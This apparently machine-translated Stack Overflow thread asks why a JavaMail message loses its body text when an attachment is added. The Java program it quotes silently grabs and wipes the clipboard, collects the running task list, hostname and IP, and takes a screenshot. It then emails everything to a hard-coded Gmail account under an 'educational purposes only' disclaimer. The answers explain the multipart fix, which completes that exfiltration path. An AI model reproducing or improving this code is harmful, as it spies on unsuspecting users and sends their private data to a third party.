2013-07-17 51 views
0

我想創建一個程序,發送一個電子郵件包含某些數據與附件,但由於某種原因電子郵件中的文本沒有收到。整個代碼爲:Javamail電子郵件與attatchment:文本沒有被髮送

import java.awt.Dimension; 
import java.awt.Rectangle; 
import java.awt.Robot; 
import java.awt.Toolkit; 
import java.awt.datatransfer.DataFlavor; 
import java.awt.datatransfer.StringSelection; 
import java.awt.datatransfer.Transferable; 
import java.awt.image.BufferedImage; 
import java.io.BufferedReader; 
import java.io.File; 
import java.io.InputStreamReader; 
import java.net.InetAddress; 
import java.net.UnknownHostException; 
import java.util.*; 
import javax.activation.*; 
import javax.imageio.ImageIO; 
import javax.mail.*; 
import javax.mail.internet.*; 

/* Terms of Use 
* Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only 
* No data received from this app is used for any other purpose except the ones above 
* Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program) 
* You may NOT distribute, copy, or modify this program without the express permission of Silver ([email protected]) 
* Silver is NOT responsible for any damages, physical or virtual, caused by this program 
* Clipboard, Screen Capture and Task-list checkers based off programs by csanuragjain (http://www.codeproject.com/Members/csanuragjain) 
* SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about]) 
* Copyright IdreesInc.com All rights reserved 
*/ 

public class Application { 

public static void main(String[] args) { 

    final String username = "[email protected]"; 
    final String password = "password"; 
    String data = null; 
    BufferedReader input = null; 
    String commandOutput = ""; 
    InetAddress ip = null; 
    String hostname = null; 
    boolean allowEmails = true; //Allows or Blocks the application's ability to send emails 

    //Clipboard Copier 
    Transferable t = Toolkit.getDefaultToolkit().getSystemClipboard().getContents(null); 

     try { 
      if (t != null && t.isDataFlavorSupported(DataFlavor.stringFlavor)) { 
       String text = (String)t.getTransferData(DataFlavor.stringFlavor); 
       data = text; 
       System.out.println("Current clipboard data:\n"+data); //Prints Clipboard data 
       text=""; //String is now empty 
       StringSelection ss = new StringSelection(text); //Clears Clipboard data 
       Toolkit.getDefaultToolkit().getSystemClipboard().setContents(ss, null); 
       System.out.println("Clipboard data wiped successfully" + text); //Displays "text" string after output for debugging 

      } 
     } 
     catch(Exception e) 
     { 



    } 
      //Tasklist Copier 
     try { 
      String line; 
      Process p = Runtime.getRuntime().exec("tasklist.exe"); //Accesses running task-list 
      input = 
        new BufferedReader(new InputStreamReader(p.getInputStream())); 
      while ((line = input.readLine()) != null) { 
       System.out.println(line); //Data is parsed 
        commandOutput += line; 
        line = input.readLine(); 
      } 
      input.close(); 

     } catch (Exception err) { 
      err.printStackTrace(); 
     } 

      //IP Address Tracker 
     try { 
      ip = InetAddress.getLocalHost(); 
      hostname = ip.getHostName(); 
      System.out.println("IP address : " + ip); 
      System.out.println("Hostname : " + hostname); 

     } catch (UnknownHostException e) { 
      e.printStackTrace(); 
     } 

     //Screen Capture 
    try 
    { 
    Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); 
     Robot robot = new Robot(); 
     BufferedImage img = robot.createScreenCapture(new Rectangle(size)); 
     File save_path=new File("errorcapture.png"); 
     ImageIO.write(img, "png", save_path); 
     System.out.println("Screen successfully captured"); 
    } 
    catch(Exception e) 
    { 

    } 

     //Data Sender 
    if(allowEmails) { 

    Properties props = new Properties(); 
    props.put("mail.smtp.auth", true); 
    props.put("mail.smtp.starttls.enable", true); 
    props.put("mail.smtp.host", "smtp.gmail.com"); 
    props.put("mail.smtp.port", "587"); 

    Session session = Session.getInstance(props, 
      new javax.mail.Authenticator() { 
       protected PasswordAuthentication getPasswordAuthentication() { 
        return new PasswordAuthentication(username, password); 
       } 
      }); 

    try { 

     Message message = new MimeMessage(session); 
     message.setFrom(new InternetAddress("[email protected]")); 
     message.setRecipients(Message.RecipientType.TO, 
       InternetAddress.parse("[email protected]")); 
     message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname); 
     message.setText("Application 'Bitter Coffee' has been activated by " + hostname + " (" + ip + ") and has ran successfully" + "<br><br>The activators information is as follows: " + "<br><br>Hostname: " + hostname + "<br>Server IP Address: " + ip + "<br><br>Clipboard Data: " + data + "<br><br><br>Active Tasks: " + commandOutput + "<br><br><br>Program created by Silver (CEO of Idrees Inc) for theoretical and educational purposes only<br>No data received from this app is used for any other purpose except the ones above<br>Do NOT use this for any purposes other than the conditions above (Including the recording or saving of any data obtained with this program)<br>You may NOT distribute, copy, or modify this program without the express permission of Silver ([email protected])<br>I am not responsible for any damages, physical or virtual, caused by this program<br>Clipboard and Task-list checkers based off programs by csanuragjain (www.codeproject.com/Members/csanuragjain)<br>SMTP email with Gmail created by Arpit Shah (Founder of Crunchify.com [crunchify.com/about])<br><br>Copyright IdreesInc.com All rights reserved"); 

     MimeBodyPart messageBodyPart = new MimeBodyPart(); 

     Multipart multipart = new MimeMultipart(); 

     messageBodyPart = new MimeBodyPart(); 
     String file = "errorcapture.png"; 
     String fileName = "errorcapture.png"; 
     DataSource source = new FileDataSource(file); 
     messageBodyPart.setDataHandler(new DataHandler(source)); 
     messageBodyPart.setFileName(fileName); 
     multipart.addBodyPart(messageBodyPart); 

     message.setContent(multipart); 

     System.out.println("Sending"); 

     Transport.send(message); 

     System.out.println("Done"); 

    } catch (MessagingException e) { 
     e.printStackTrace(); 
    } 
    } 
    } 
} 

包含程序的JavaMail發送的部分是在這裏:

//Data Sender 
    if(allowEmails) { 

    Properties props = new Properties(); 
    props.put("mail.smtp.auth", true); 
    props.put("mail.smtp.starttls.enable", true); 
    props.put("mail.smtp.host", "smtp.gmail.com"); 
    props.put("mail.smtp.port", "587"); 

    Session session = Session.getInstance(props, 
      new javax.mail.Authenticator() { 
       protected PasswordAuthentication getPasswordAuthentication() { 
        return new PasswordAuthentication(username, password); 
       } 
      }); 

    try { 

     Message message = new MimeMessage(session); 
     message.setFrom(new InternetAddress("[email protected]")); 
     message.setRecipients(Message.RecipientType.TO, 
       InternetAddress.parse("[email protected]")); 
     message.setSubject("Application 'Bitter Coffee' Has Been Activated By " + hostname); 
     message.setText("This is the body text that won't show up"); 

     MimeBodyPart messageBodyPart = new MimeBodyPart(); 

     Multipart multipart = new MimeMultipart(); 

     messageBodyPart = new MimeBodyPart(); 
     String file = "errorcapture.png"; 
     String fileName = "errorcapture.png"; 
     DataSource source = new FileDataSource(file); 
     messageBodyPart.setDataHandler(new DataHandler(source)); 
     messageBodyPart.setFileName(fileName); 
     multipart.addBodyPart(messageBodyPart); 

     message.setContent(multipart); 

     System.out.println("Sending"); 

     Transport.send(message); 

     System.out.println("Done"); 

    } catch (MessagingException e) { 
     e.printStackTrace(); 
    } 
    } 

請解釋一下徹底的,因爲我在Java的一個完整的小白。 感謝您的幫助! :) 也告訴我,如果我錯過任何帖子,因爲這只是我的第二或第三S.O.問題

回答

1

你從哪裏複製和粘貼該代碼?

JavaMail FAQ有很多提示,包括調試提示。閱讀。

您將找到示例JavaMail程序here,向您展示如何使用附件創建消息以及其他許多事情。

您的特殊問題是您的multipart需要兩個身體部位 - 一個用於正文,一個用於附件。

+0

你是什麼意思?我將其基於免責聲明中列出的項目,但我自己創建了該項目。我是銀牌。我已經按照您的建議檢查了Javamail FAQ,但沒有找到解決我的問題的方法。任何想法如何添加一個部分? – Silver

+2

請參閱上面引用的下載中的sendfile.java示例程序。當您調用msg.setText時,您將消息的全部內容設置爲文本。稍後調用msg.setContent時,將使用多部分內容替換消息的全部內容。但是你的多部分內容只有一個部分 - 附件。它還需要爲消息的主體內容添加一部分。 –

+0

啊謝謝!這就是訣竅! – Silver